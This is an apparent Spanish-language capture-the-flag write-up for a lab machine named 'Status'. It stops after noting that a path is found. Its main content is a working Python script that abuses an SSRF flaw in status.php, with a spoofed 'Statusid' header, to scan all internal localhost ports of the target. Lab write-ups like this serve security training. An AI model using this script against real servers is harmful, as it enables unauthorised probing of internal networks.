Status

Enumeración:
Solo tenemos el puerto 80 abierto:

Enumeramos archivos:

Tenemos un status.php

Interceptando con el burpsuite la petcición:
Tenga en cuenta que hay un 0 en el encabezado de respuesta
Statusid
, intente cambiarlo a 1



Si el archivo no se puede leer directamente, realice la detección del puerto de intranet
Explotación de SSRF
Durante la evaluación se identificó la página
status.php
, la cual expone una funcionalidad denominada Check Status. Esta permite enviar una URL arbitraria que el servidor procesa para devolver el estado HTTP de dicha dirección.Este tipo de funcionalidad es comúnmente susceptible a vulnerabilidades de tipo Server-Side Request Forgery (SSRF), ya que permite que el servidor realice peticiones HTTP a otros recursos, tanto externos como internos.
import requests
target = "http://172.17.0.2/status.php"
for port in range(1, 65536):
url_to_check = f"http://127.0.0.1:{port}"
payload = {'url': url_to_check}
try:
response = requests.post(url=target, data=payload, headers={'Statusid': '1'})
if 'HTTP Status: 0' not in response.text:
print(f"[+] Port open: {port}")
except Exception:
continue

Accediendo a la página se obtiene una ruta

Last updated